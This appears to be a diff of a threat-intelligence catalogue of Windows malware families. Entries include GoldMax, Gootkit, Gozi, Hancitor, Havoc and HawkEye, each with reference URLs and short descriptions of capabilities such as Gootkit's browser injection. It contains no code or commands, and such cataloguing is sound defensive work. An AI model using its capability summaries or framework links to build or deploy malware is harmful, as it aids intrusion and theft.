"https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-4-goldenhelper-malware-embedded-in-official-golden-tax-software/", + "https://www.ic3.gov/Media/News/2020/201103-1.pdf", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/" ], "synonyms": [], "type": [] @@ -24883,30 +26353,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldmax", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-105a", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", - "https://securelist.com/extracting-type-information-from-go-binaries/104715/", "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://x0r19x91.gitlab.io/post/malware-analysis/sunshuttle/", - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", - "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/" + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://securelist.com/extracting-type-information-from-go-binaries/104715/", + "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/", + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/" ], "synonyms": [ "SUNSHUTTLE" ], "type": [] }, - "related": [ - { - "dest-uuid": "1e912590-c879-4a9c-81b9-2d31e82ac718", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "9a3429d7-e4a8-43c5-8786-0b3a1c841a5f", "value": "GoldMax" }, @@ -24915,11 +26377,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon", - "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", - "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf", + "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "https://www.youtube.com/watch?v=rfzmHjZX70s", "https://asec.ahnlab.com/en/31089/", - "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html" + "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf" ], "synonyms": [ "Lovexxx" @@ -24960,8 +26422,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gomorrah_stealer", - "https://github.com/jstrosch/malware-samples/tree/master/binaries/gomorrah/2020/April", - "https://twitter.com/vxunderground/status/1469713783308357633" + "https://twitter.com/vxunderground/status/1469713783308357633", + "https://github.com/jstrosch/malware-samples/tree/master/binaries/gomorrah/2020/April" ], "synonyms": [], "type": [] @@ -24974,9 +26436,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goodor", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks", "https://norfolkinfosec.com/a-new-look-at-old-dragonfly-malware-goodor/", - "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control" + "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks" ], "synonyms": [ "Fuerboos" @@ -25013,45 +26475,47 @@ "value": "GooPic Drooper" }, { - "description": "Gootkit is a banking trojan, where large parts are written in javascript (node.JS). It jumps to C/C++-library functions for various tasks.", + "description": "Gootkit is a banking trojan consisting of an x86 loader and a payload embedding nodejs as well as a set of js scripts. The loader downloads the payload, stores it in registry and injects it in a copy of the loader process. The loader also contains two encrypted DLLs intended to be injected into each browser process launched in order to place the payload in man in the browser and allow it to apply the webinjects received from the command and control server on HTTPx exchanges. This allows Gootkit to intercept HTTPx requests and responses, steal their content or modify it according to the webinjects.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit", - "https://labs.sentinelone.com/gootkit-banking-trojan-deep-dive-anti-analysis-features/", - "https://www.certego.net/en/news/malware-tales-gootkit/", - "https://www.youtube.com/watch?v=242Tn0IL2jE", - "https://dannyquist.github.io/gootkit-reversing-ghidra/", - "https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/", - "https://www.us-cert.gov/ncas/alerts/TA16-336A", - "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", - "https://www.sentinelone.com/blog/gootkit-banking-trojan-deep-dive-anti-analysis-features/", - "https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/", - "https://connect.ed-diamond.com/MISC/MISC-100/Analyse-du-malware-bancaire-Gootkit-et-de-ses-mecanismes-de-protection", - "https://www.trendmicro.com/en_us/research/20/l/investigating-the-gootkit-loader.html", - "https://www.youtube.com/watch?v=QgUlPvEE4aw", - "https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/", - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", - "http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html", - "https://securelist.com/gootkit-the-cautious-trojan/102731/", - "https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/?cmp=30728", - "https://news.drweb.com/show/?i=4338&lng=en", - "https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps", - "http://www.vkremez.com/2018/04/lets-learn-in-depth-dive-into-gootkit.html", - "https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/", - "https://twitter.com/jhencinski/status/1464268732096815105", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://blogs.blackberry.com/en/2020/04/threat-spotlight-gootkit-banking-trojan", - "https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope", - "https://twitter.com/MsftSecIntel/status/1366542130731094021", - "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", - "https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html", - "https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/", - "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Delivery/Gootkit-malware.md", + "https://securelist.com/gootkit-the-cautious-trojan/102731/", + "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://www.certego.net/en/news/malware-tales-gootkit/", + "https://www.trendmicro.com/en_us/research/20/l/investigating-the-gootkit-loader.html", "http://blog.trendmicro.com/trendlabs-security-intelligence/fake-judicial-spam-leads-to-backdoor-with-fake-certificate-authority/", - "https://forums.juniper.net/t5/Security-Now/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055" + "https://5556002.fs1.hubspotusercontent-na1.net/hubfs/5556002/2022%20PDF%20Download%20Assets/ADA%20Compliant%20pdfs/Reports/PUBLIC_Gootloader%20-%20Foreign%20Intelligence%20Service.pdf", + "https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/", + "https://www.sentinelone.com/blog/gootkit-banking-trojan-deep-dive-anti-analysis-features/", + "https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/", + "https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope", + "https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html", + "https://twitter.com/MsftSecIntel/status/1366542130731094021", + "https://www.trendmicro.com/en_us/research/23/a/gootkit-loader-actively-targets-the-australian-healthcare-indust.html", + "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", + "https://www.youtube.com/watch?v=QgUlPvEE4aw", + "https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/", + "https://www.youtube.com/watch?v=242Tn0IL2jE", + "https://connect.ed-diamond.com/MISC/MISC-100/Analyse-du-malware-bancaire-Gootkit-et-de-ses-mecanismes-de-protection", + "https://dannyquist.github.io/gootkit-reversing-ghidra/", + "https://news.drweb.com/show/?i=4338&lng=en", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/", + "https://forums.juniper.net/t5/Security-Now/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055", + "https://blogs.blackberry.com/en/2020/04/threat-spotlight-gootkit-banking-trojan", + "http://www.vkremez.com/2018/04/lets-learn-in-depth-dive-into-gootkit.html", + "https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html", + "https://twitter.com/jhencinski/status/1464268732096815105", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://labs.sentinelone.com/gootkit-banking-trojan-deep-dive-anti-analysis-features/", + "https://www.us-cert.gov/ncas/alerts/TA16-336A", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/?cmp=30728" ], "synonyms": [ "Waldek", @@ -25060,15 +26524,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "07ffcf9f-b9c0-4b22-af4b-78527427e6f5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "329efac7-922e-4d8b-90a9-4a87c3281753", "value": "GootKit" }, @@ -25086,6 +26541,20 @@ "uuid": "fb2e42bf-6845-4eb3-9fe7-85a447762bce", "value": "Gophe" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.gopuram", + "https://twitter.com/kucher1n/status/1642886340105601029?t=3GCn-ZhDjqWEMXya_PKseg", + "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6dc4e71e-7372-4287-bdee-04da17a0d275", + "value": "Gopuram" + }, { "description": "", "meta": { @@ -25117,23 +26586,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", - "https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html", - "https://www.secureworks.com/research/threat-profiles/gold-swathmore", - "https://www.youtube.com/watch?v=BcFbkjUVc7o", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://github.com/mlodic/ursnif_beacon_decryptor", - "https://lokalhost.pl/gozi_tree.txt", - "https://blog.gdatasoftware.com/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007", - "http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/", + "https://therecord.media/gozi-malware-gang-member-arrested-in-colombia/", "https://www.secureworks.com/research/gozi", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" + "https://lokalhost.pl/gozi_tree.txt", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/gozi-italian-shellcode-dance", + "https://medium.com/csis-techblog/chapter-1-from-gozi-to-isfb-the-history-of-a-mythical-malware-family-82e592577fef", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.youtube.com/watch?v=BcFbkjUVc7o", + "https://github.com/mlodic/ursnif_beacon_decryptor", + "https://www.secureworks.com/research/threat-profiles/gold-swathmore", + "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/", + "https://blog.gdatasoftware.com/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007", + "http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [ "CRM", @@ -25152,10 +26623,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode", - "https://www.symantec.com/security_response/writeup.jsp?docid=2007-071711-3132-99&tabid=2", - "http://www.zdnet.com/article/whos-behind-the-gpcode-ransomware/", "https://de.securelist.com/analysis/59479/erpresser/", - "http://www.xylibox.com/2011/01/gpcode-ransomware-2010-simple-analysis.html" + "https://www.symantec.com/security_response/writeup.jsp?docid=2007-071711-3132-99&tabid=2", + "http://www.xylibox.com/2011/01/gpcode-ransomware-2010-simple-analysis.html", + "http://www.zdnet.com/article/whos-behind-the-gpcode-ransomware/" ], "synonyms": [], "type": [] @@ -25194,10 +26665,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gramdoor", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", - "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", - "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html" + "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", + "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf" ], "synonyms": [ "Small Sieve" @@ -25212,15 +26683,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grandoreiro", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/grandoreiro-banking-malware-resurfaces-for-tax-season", - "http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853", + "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "https://www.zscaler.com/blogs/security-research/grandoreiro-banking-trojan-new-ttps-targeting-various-industry-verticals", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/grandoreiro-banking-malware-resurfaces-for-tax-season", "https://seguranca-informatica.pt/the-updated-grandoreiro-malware-equipped-with-latenbot-c2-features-in-q2-2020-now-extended-to-portuguese-banks", + "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://blueliv.com/resources/reports/MiniReport-Blueliv-Bancos-ESP-LAT.pdf", - "https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/", - "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", - "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/" + "https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/" ], "synonyms": [], "type": [] @@ -25241,12 +26712,41 @@ "uuid": "626de4fc-cfa4-4fbc-ab35-4c9ab9fdec14", "value": "GrandSteal" }, + { + "description": "This loader abuses the benign service Notion for data exchange.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphical_neutrino", + "https://go.recordedfuture.com/hubfs/reports/cta-2023-0127.pdf", + "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58", + "https://blogs.blackberry.com/en/2023/03/nobelium-targets-eu-governments-assisting-ukraine" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cb92a200-b4f0-4983-8d5d-6bf529b66da9", + "value": "GraphicalNeutrino" + }, + { + "description": "Downloader / information stealer used by UAC-0056, observed since at least October 2022.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphiron", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nodaria-ukraine-infostealer" + ], + "synonyms": [], + "type": [] + }, + "uuid": "968e330d-281e-4647-99fd-d9903aa6bbba", + "value": "Graphiron" + }, { "description": "Trellix describes Graphite as a malware using the Microsoft Graph API and OneDrive for C&C. It was found being deployed in-memory only and served as a downloader for Empire.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphite", - "https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html" + "https://www.trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html", + "https://blog.cluster25.duskrise.com/2022/09/23/in-the-footsteps-of-the-fancy-bear-powerpoint-graphite/" ], "synonyms": [], "type": [] @@ -25272,16 +26772,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel", - "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://cert.gov.ua/article/38374", - "https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/", - "https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830", "https://www.mandiant.com/resources/spear-phish-ukrainian-entities", - "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/", + "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://cert.gov.ua/article/38374", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://www.govinfosecurity.com/cyber-espionage-actor-deploying-malware-using-excel-a-18830", + "https://businessinsights.bitdefender.com/deep-dive-into-the-elephant-framework-a-new-cyber-threat-in-ukraine", + "https://www.cybercom.mil/Media/News/Article/3098856/cyber-national-mission-force-discloses-iocs-from-ukrainian-networks/" ], "synonyms": [], "type": [] @@ -25294,16 +26795,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos", - "http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html", - "https://norfolkinfosec.com/pos-malware-used-at-fuel-pumps/", "https://content.fireeye.com/m-trends/rpt-m-trends-2020", - "https://usa.visa.com/dam/VCOM/global/support-legal/documents/cybercrime-groups-targeting-fuel-dispenser-merchants.pdf", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://redcanary.com/blog/frameworkpos-and-the-adequate-persistent-threat/", "http://www.secureworks.com/research/threat-profiles/gold-franklin", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season" + "https://redcanary.com/blog/frameworkpos-and-the-adequate-persistent-threat/", + "https://usa.visa.com/dam/VCOM/global/support-legal/documents/cybercrime-groups-targeting-fuel-dispenser-merchants.pdf", + "https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season", + "https://norfolkinfosec.com/pos-malware-used-at-fuel-pumps/", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", + "http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html" ], "synonyms": [ "FrameworkPOS", @@ -25333,8 +26834,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gravity_rat", "https://www.virusbulletin.com/blog/2018/04/gravityrat-malware-takes-your-systems-temperature/", - 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"https://blog.group-ib.com/hancitor-cuba-ransomware" + "https://www.vmray.com/cyber-security-blog/hancitor-multi-step-delivery-process-malware-analysis-spotlight/", + "https://fidelissecurity.com/threatgeek/archive/me-and-mr-robot-tracking-actor-behind-man1-crypter/", + "https://blog.group-ib.com/hancitor-cuba-ransomware", + "https://muha2xmad.github.io/unpacking/hancitor/", + "https://medium.com/@crovax/extracting-hancitors-configuration-with-ghidra-7963900494b5", + "https://twitter.com/TheDFIRReport/status/1359669513520873473", + "https://blog.group-ib.com/prometheus-tds", + "https://thedfirreport.com/2021/06/28/hancitor-continues-to-push-cobalt-strike/", + "https://www.vkremez.com/2018/11/lets-learn-in-depth-reversing-of.html", + "https://malware-traffic-analysis.net/2021/09/29/index.html", + "https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-analysing-the-main-loader/", + "https://www.dodgethissecurity.com/2019/11/01/hancitor-evasive-new-waves-and-how-com-objects-can-use-cached-credentials-for-proxy-authentication/", + "https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear", + "https://blog.group-ib.com/switching-side-jobs", + "https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html", + "https://www.silentpush.com/blog/pivoting-finding-malware-domains-without-seeing-malicious-activity", + "https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/", + "https://0ffset.net/reverse-engineering/malware-analysis/reversing-hancitor-again/", + "https://researchcenter.paloaltonetworks.com/2016/08/unit42-vb-dropper-and-shellcode-for-hancitor-reveal-new-techniques-behind-uptick/", + "https://researchcenter.paloaltonetworks.com/2018/02/unit42-compromised-servers-fraud-accounts-recent-hancitor-attacks/", + "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", + "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618" ], "synonyms": [ "Chanitor" ], "type": [] }, - "related": [ - { - "dest-uuid": "ff0404a1-465f-4dd5-8b66-ee773628ca64", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "4166ab63-24b0-4448-92ea-21c8deef978d", "value": "Hancitor" }, @@ -25729,8 +27226,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hardrain", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf" ], "synonyms": [], "type": [] @@ -25743,8 +27240,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.harnig", - "https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html", - "https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html" + "https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html", + "https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html" ], "synonyms": [ "Piptea" @@ -25786,28 +27283,38 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat", - "https://www.f-secure.com/weblog/archives/00002718.html", "https://www.cisa.gov/uscert/ncas/alerts/aa22-083a", - "https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/", - "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://www.secureworks.com/research/threat-profiles/iron-liberty" + "https://www.f-secure.com/weblog/archives/00002718.html", + "https://www.secureworks.com/research/threat-profiles/iron-liberty", + "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", + "https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "d7183f66-59ec-4803-be20-237b442259fc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "c04fc02e-f35a-44b6-a9b0-732bf2fc551a", "value": "Havex RAT" }, + { + "description": "Havoc is a modern and malleable post-exploitation command and control framework, created by @C5pider.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.havoc", + "https://www.zscaler.com/blogs/security-research/havoc-across-cyberspace", + "https://twitter.com/embee_research/status/1579668721777643520?s=20&t=nDJOv1Yf5mQZKCou7qMrhQ", + "https://github.com/HavocFramework/Havoc", + "https://www.youtube.com/watch?v=ErPKP4Ms28s", + "https://4pfsec.com/havoc-c2-first-look/" + ], + "synonyms": [ + "Havokiz" + ], + "type": [] + }, + "uuid": "ddbcedee-ac3e-45d3-be2c-d7315d83e6a6", + "value": "Havoc" + }, { "description": "HAWKBALL is a backdoor that attackers can use to collect information from the victim, as well as to deliver payloads. HAWKBALL is capable of surveying the host, creating a named pipe to execute native Windows commands, terminating processes, creating, deleting and uploading files, searching for files, and enumerating drives.", "meta": { @@ -25826,26 +27333,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkeye_keylogger", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/How-I-Cracked-a-Keylogger-and-Ended-Up-in-Someone-s-Inbox/", - "https://www.secureworks.com/research/threat-profiles/gold-galleon", - "http://stopmalvertising.com/malware-reports/analysis-of-the-predator-pain-keylogger.html", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://researchcenter.paloaltonetworks.com/2015/10/surveillance-malware-trends-tracking-predator-pain-and-hawkeye/", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/covid-19-cybercrime-m00nd3v-hawkeye-malware-threat-actor/", "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", - "https://www.fortinet.com/blog/threat-research/hawkeye-malware-analysis.html", - "https://nakedsecurity.sophos.com/2016/02/29/the-hawkeye-attack-how-cybercrooks-target-small-businesses-for-big-money/", - "https://blog.talosintelligence.com/2019/04/hawkeye-reborn.html", - 